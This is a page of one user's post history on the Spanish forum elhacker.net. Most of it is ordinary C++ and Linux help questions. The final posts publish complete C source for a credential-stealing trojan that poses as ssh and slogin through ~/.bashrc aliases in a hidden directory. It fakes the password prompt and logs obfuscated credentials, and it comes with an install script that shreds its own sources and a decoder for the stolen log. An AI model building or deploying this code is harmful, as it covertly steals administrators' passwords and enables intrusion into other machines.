elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 95
121  Sistemas Operativos / GNU/Linux / Recuperar manualmente certificados electrónicos importados a Firefox en: 9 Mayo 2012, 13:54 pm
Hola.

Antes tenía un Ubuntu con un Firefox, donde tenía mi certificado personal que me dio CERES, todo muy oficial y demás. Lo instalé allí pero no hice una copia en su momento.

Total, el Linux ha muerto (no viene a cuento cómo ni por qué), y ahora sólo puedo acceder al filesystem.

¿Alguien sabe alguna forma de importarme el certificado accediendo sólo al sistema de archivos?

Saludos.
122  Programación / Programación C/C++ / Re: "return" no esta funcionando bien al devolver un iterador en: 9 Mayo 2012, 13:42 pm
Problema resuelto..

No había caído en que el vector aux se elimina, así que no se puede usar así. Lo he resuelto haciendo:

Código
  1. template <typename T>
  2. typename vectorDinamico<T>::iterator vectorDinamico<T>::begin() {
  3.    typename vectorDinamico<T>::iterator it;
  4.    it.it_l = datos.begin();
  5.    it.it_v = (*it.it_l).begin();
  6.    return it;
  7.    }
123  Programación / Programación C/C++ / "return" no esta funcionando bien al devolver un iterador en: 9 Mayo 2012, 13:17 pm
Buenas!

Estoy intentando devolver un iterador en una clase, pero al devolverlo toma valores aleatorios (he comprobado que antes de devolverlo está bien). No sé qué puede estar fallando.

El problema está en la función begin() que os pongo, en el return creo. Esto me está dando un montón de problemas...

Os pongo un poco de código:

Código
  1. template <typename T>
  2. class vectorDinamico {
  3.    private:
  4.        list<vector<T> > datos;
  5.        int tamBloque;
  6.    public:
  7.        vectorDinamico();
  8.        vectorDinamico ( int tam );
  9.        ~vectorDinamico();
  10.        vectorDinamico<T>& operator= ( const vectorDinamico<T> &v );
  11.        vectorDinamico ( const vectorDinamico<T> &v );
  12.  
  13.        class iterator;
  14.        friend class iterator;
  15.  
  16.        /* Clase iterator */
  17.        class iterator {
  18.            private:
  19.                typename list<vector<T> >::iterator it_l;
  20.                typename vector<T>::iterator it_v;
  21.                friend class vectorDinamico;
  22.            public:
  23.                /* Implementamos algunos métodos del iterador */
  24.                iterator();
  25.                iterator ( const typename vectorDinamico<T>::iterator &it );
  26.                iterator& operator++();
  27.                iterator& operator--();
  28.                T& operator*();
  29.                iterator& operator= ( const typename vectorDinamico<T>::iterator &it );
  30.            };
  31.        /* Fin clase iterator */
  32.        iterator begin();
  33.        iterator end();
  34.  
  35.  
  36. template <typename U> friend ostream& operator<<(ostream& out,const vectorDinamico<U> &v);
  37.  
  38.        void insert ( iterator it, const T &x );
  39.    };
  40.  
  41.  
  42. template <typename T>
  43. vectorDinamico<T>::iterator::iterator() {}
  44.  
  45. template <typename T>
  46. vectorDinamico<T>::iterator::iterator ( const typename vectorDinamico<T>::iterator &it ) {
  47.    it_l = it.it_l;
  48.    it_v = it.it_v;
  49.    }
  50.  
  51.  
  52. template <typename T>
  53. typename vectorDinamico<T>::iterator vectorDinamico<T>::begin() {
  54.    typename vectorDinamico<T>::iterator it;
  55.    vector<T> aux;
  56.    it.it_l = datos.begin();
  57.    aux = *it.it_l;
  58.    it.it_v = aux.begin();
  59.    return it;
  60.    }
  61.  
  62. template <typename T>
  63. typename vectorDinamico<T>::iterator& vectorDinamico<T>::iterator::operator= ( const typename vectorDinamico<T>::iterator &it ) {
  64.    it_l = it.it_l;
  65.    it_v = it.it_v;
  66.    return *this;
  67.    }
  68.  
  69. template <typename T>
  70. T& vectorDinamico<T>::iterator::operator*() {
  71.    return *it_v;
  72.    }

¿Alguien sabe qué esta fallando?

Decir que devolver el iterador por referencia no lo veo viable, puesto que it se destruye al salir de la función... ¿no?

Saludos!
124  Programación / Programación C/C++ / Re: Error de compilación en Dev C++ raro en: 6 Mayo 2012, 21:10 pm
Es cursioso jaja

le pongo un return 0; al main, y me compila.

Le pongo un comentario después del return 0; al main, y ya no me compila

Jaja este Dev C++ parace muy fiable.
125  Programación / Programación C/C++ / Re: Error de compilación en Dev C++ raro en: 6 Mayo 2012, 01:49 am
Quizá sea porque no has configurado el directorio de includes(ficheros cabecera).
Tienes que ir a opciones de proyecto, y mira en la pestaña directorio de includes y pon el directorio donde tengas el .h

Hola N0Z, lo he intentado configurar pero el error persiste.

exel como he dicho, lo he probado así y tampoco me soluciona el error. Yo creo que debe ser un error de Dev C++. Diría que g++ en Linux compila, la cosa es que ahora no puedo probar.

Dev C++ es raro, si me da estos errores así cada dos por tres, paso de trabajar con él.

Descargando Visual C++ a ver qué tal.

Netbeans no me gusta mucho.
126  Programación / Programación C/C++ / Re: Error de compilación en Dev C++ raro en: 5 Mayo 2012, 18:16 pm
Hola gracias,

bueno lo he probado pero eso no soluciona el problema.

Yo apostaría a que todo está bien, quizá deba ser problema del compilador de Dev C++

¿Me recomendais algún otro software para Windows?
127  Programación / Programación C/C++ / Re: Duda de un novato en: 5 Mayo 2012, 15:07 pm
en ningún sitio
128  Programación / Programación C/C++ / Error de compilación en Dev C++ raro en: 5 Mayo 2012, 14:37 pm
Buenas

no trabajo casi nada con Windows ni con Dev C++, así que no sé muy bien a qué es debido este error.

Yo tengo un proyecto con tres archivos:

main.cpp
Código
  1. #include <iostream>
  2. #include "vectordinamico.h"
  3.  
  4. using namespace std;
  5.  
  6. int main(){
  7.    vectorDinamico<int> aux(5);
  8. }

vectordinamico.h
Código
  1. #ifndef __VECTORDINAMICO_H__
  2. #define __VECTORDINAMICO_H__
  3.  
  4. #include <vector>
  5. #include <list>
  6.  
  7. using namespace std;
  8.  
  9. template <typename T>
  10. class vectorDinamico{
  11.   private:
  12.      list<vector<T> > datos;
  13.      int tamBloque;
  14.   public:
  15.      vectorDinamico();
  16.      ~vectorDinamico();
  17.      vectorDinamico(int tam);
  18. };
  19.  
  20. #endif

vectordinamico.cpp
Código
  1. #include "vectordinamico.h"
  2.  
  3.  
  4. template <typename T>
  5. vectorDinamico<T>::vectorDinamico(){
  6.   tamBloque = 0;
  7. }
  8.  
  9. template <typename T>
  10. vectorDinamico<T>::~vectorDinamico(){
  11.   tamBloque = 0;
  12. }
  13.  
  14. template <typename T>
  15. vectorDinamico<T>::vectorDinamico(int tam){
  16.   tamBloque = tam;
  17.   vector<T> aux(tamBloque);
  18.   datos.push_back(aux);
  19. }

Pero al compilar tengo este error:

Código:
[Linker error] undefined reference to `vectorDinamico<int>::vectorDinamico(int)' 
[Linker error] undefined reference to `vectorDinamico<int>::~vectorDinamico()'

Seguro que es una tontería,

¿alguien sabe qué pasa?

Saludos!
129  Seguridad Informática / Análisis y Diseño de Malware / Re: [C] Ataque a OpenSSH usando alias bajo Linux en: 16 Abril 2012, 12:44 pm
Exactamente.

El problema es que los alias suelen estar permitidos para todos los usuarios.A veces pasa en las empresas que tienen un usuario común sin muchos privilegios para el uso de ... impresoras y cosas así. A veces pasa que lso administradores se loguean con ese usuario común, y luego van yendo con slogin o openssh por otras máquinas. Es un error bastante grave y lo he visto ya en dos empresas, de ahí la idea.

Saludos!
130  Seguridad Informática / Análisis y Diseño de Malware / [C] Ataque a OpenSSH usando alias bajo Linux en: 15 Abril 2012, 14:28 pm
Supongamos que tenemos acceso a un servidor Linux, pero no somos ni root ni nada.

Pero supongamos que desde el usuario donde tenemos acceso hay gente que se loguea como root a otras máquinas usando SSH. Esto es un escenario bastante típico.

Nuestro usuario por lo general podrá crear alias y compilar programas, y de esto nos vamos a valer para instalar este malware en un Linux. Lo único que haremos es esperar a que un usuario se loguee en otra máquina como root y obtener sus credenciales en un archivo de texto, que estará cifrado de forma bastante sencilla.

El programa se compone de 3 partes. sl.c, ssh.c y deco.c

sl.c se compila y se usa como alias del comando slogin
ssh.c se compila y se usa como alias del comando ssh
deco.c no se instala en la máquina víctima, sólo nos sirve para descifrar nuestro archivo con credenciales.

Lo pongo aquí para ver si alguien se anima a mejorarlo. Siento que no tenga muchos comentarios, pero es bastante simple de entender. Por supuesto, cada caso es diferente, así que habría que adaptar el código a cada caso, dependiendo de diversas variables.

sl.c

Código
  1. /*
  2.   Author: Kasswed for elhacker.net April 2012
  3.  
  4.  This malware is composed of 3 parts:
  5.  1. sl.c: slogin snifer program code
  6.  2. ssh.c: ssh snifer program code
  7.  3. deco.c: decoder program for the logs files
  8.  
  9.  Install this program (does not need to be root) using a bash script:
  10.  
  11. mkdir .config/.keyboard
  12. gcc sl.c -o .config/.keyboard/sl
  13. gcc ssh.c -o .config/.keyboard/s
  14. echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
  15. echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
  16. shred -n 30 -u sl.c
  17. shred -n 30 -u ssh.c
  18.  
  19. Then remove the script as well with "shred -n 30 -u script.sh"
  20.  
  21.  To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
  22.  $ ./deco logfile
  23.  
  24.  Et voila.
  25.  
  26.  */
  27.  
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <pwd.h>
  33.  
  34. #define BUF 1000
  35. #define PATH "/usr/bin/slogin"
  36. #define LOG "/.config/.keyboard/sx"
  37.  
  38.  
  39. int main(int argc, char **argv){
  40.    char  *ssh_arguments_send[BUF];
  41.    char ssh[] = "slogin";
  42.    ssh_arguments_send[0] = ssh;
  43.    if(argc != 2){
  44. int j;
  45. for(j=1;j<argc;j++)
  46.    ssh_arguments_send[j]=argv[j];
  47.    }
  48.    else{
  49. FILE *file;
  50. char dir[BUF];
  51. strcpy(dir,getenv("HOME"));
  52. strcat(dir,LOG);
  53. int i;
  54. struct passwd *pw;
  55. char user[200];
  56. char *ptr;
  57. pw = getpwuid(geteuid());
  58. strcpy(user,pw->pw_name);
  59. ssh_arguments_send[1] = argv[1];
  60. char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
  61. if(strchr(argv[1],'@') == NULL ){
  62.    strcpy(pCopy,user);
  63.    strcat(pCopy,"@");
  64.    strcat(pCopy,argv[1]);
  65. }
  66. else{
  67.    strcpy(pCopy,argv[1]);
  68. }
  69. sleep(2);
  70. printf("%s",pCopy);
  71. printf("'s password: ");
  72. system("stty -echo");
  73. fgets(password, BUF, stdin);
  74. printf("\n");
  75. system("stty echo");
  76. password[strlen(password)-1] = '\0';
  77. file = fopen(dir,"a+");
  78. if(file!=NULL){
  79.    strcat(pCopy,"/");
  80.    strcat(pCopy,password);
  81.    strcat(pCopy,";");
  82.    for(i=0;i<strlen(pCopy);i++){
  83. fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
  84. fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
  85. fprintf(file,"%c",pCopy[i]+25);
  86.    }
  87.    fprintf(file,"\n");
  88.    fclose(file);
  89. }
  90. sleep(2);
  91. printf("Permission denied, please try again.\n");
  92.    }
  93.    execv(PATH,ssh_arguments_send);
  94. }

ssh.c

Código
  1. /*
  2.  Author: Kasswed for elhacker.net April 2012
  3.  
  4.  This malware is composed of 3 parts:
  5.  1. sl.c: slogin snifer program code
  6.  2. ssh.c: ssh snifer program code
  7.  3. deco.c: decoder program for the logs files
  8.  
  9.  Install this program (does not need to be root) using a bash script:
  10.  
  11. mkdir .config/.keyboard
  12. gcc sl.c -o .config/.keyboard/sl
  13. gcc ssh.c -o .config/.keyboard/s
  14. echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
  15. echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
  16. shred -n 30 -u sl.c
  17. shred -n 30 -u ssh.c
  18.  
  19. Then remove the script as well with "shred -n 30 -u script.sh"
  20.  
  21.  To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
  22.  $ ./deco logfile
  23.  
  24.  Et voila.
  25.  
  26.  */
  27.  
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <pwd.h>
  33.  
  34.  
  35. #define BUF 1000
  36. #define PATH "/usr/bin/ssh"
  37. #define LOG "/.config/.keyboard/sx"
  38.  
  39.  
  40. int main(int argc, char **argv){
  41.    char  *ssh_arguments_send[BUF];
  42.    char ssh[] = "ssh";
  43.    ssh_arguments_send[0] = ssh;
  44.    if(argc != 2){
  45. int j;
  46. for(j=1;j<argc;j++)
  47.    ssh_arguments_send[j]=argv[j];
  48.    }
  49.    else{
  50. FILE *file;
  51. char dir[BUF];
  52. strcpy(dir,getenv("HOME"));
  53. strcat(dir,LOG);
  54. int i;
  55. struct passwd *pw;
  56. char user[200];
  57. char *ptr;
  58. pw = getpwuid(geteuid());
  59. strcpy(user,pw->pw_name);
  60. ssh_arguments_send[1] = argv[1];
  61. char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
  62. if(strchr(argv[1],'@') == NULL ){
  63.    strcpy(pCopy,user);
  64.    strcat(pCopy,"@");
  65.    strcat(pCopy,argv[1]);
  66. }
  67. else{
  68.    strcpy(pCopy,argv[1]);
  69. }
  70. sleep(2);
  71. printf("%s",pCopy);
  72. printf("'s password: ");
  73. system("stty -echo");
  74. fgets(password, BUF, stdin);
  75. printf("\n");
  76. system("stty echo");
  77. password[strlen(password)-1] = '\0';
  78. file = fopen(dir,"a+");
  79. if(file!=NULL){
  80.    strcat(pCopy,"/");
  81.    strcat(pCopy,password);
  82.    strcat(pCopy,";");
  83.    for(i=0;i<strlen(pCopy);i++){
  84. fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
  85. fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
  86. fprintf(file,"%c",pCopy[i]+25);
  87.    }
  88.    fprintf(file,"\n");
  89.    fclose(file);
  90. }
  91. sleep(2);
  92. printf("Permission denied, please try again.\n");
  93.    }
  94.    execv(PATH,ssh_arguments_send);
  95. }

deco.c

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. #define BUF 10000
  6.  
  7. int main(int argc,char **argv){
  8. FILE* file;
  9. int i;
  10. char encript[BUF];
  11. file = fopen(argv[1],"r");
  12. fgets(encript,BUF,file);
  13. for(i=0;i<strlen(encript);i++){
  14.    if((i+1)%3==0)
  15. printf("%c",encript[i]-25);
  16. }
  17. fclose(file);
  18. }
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 95
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines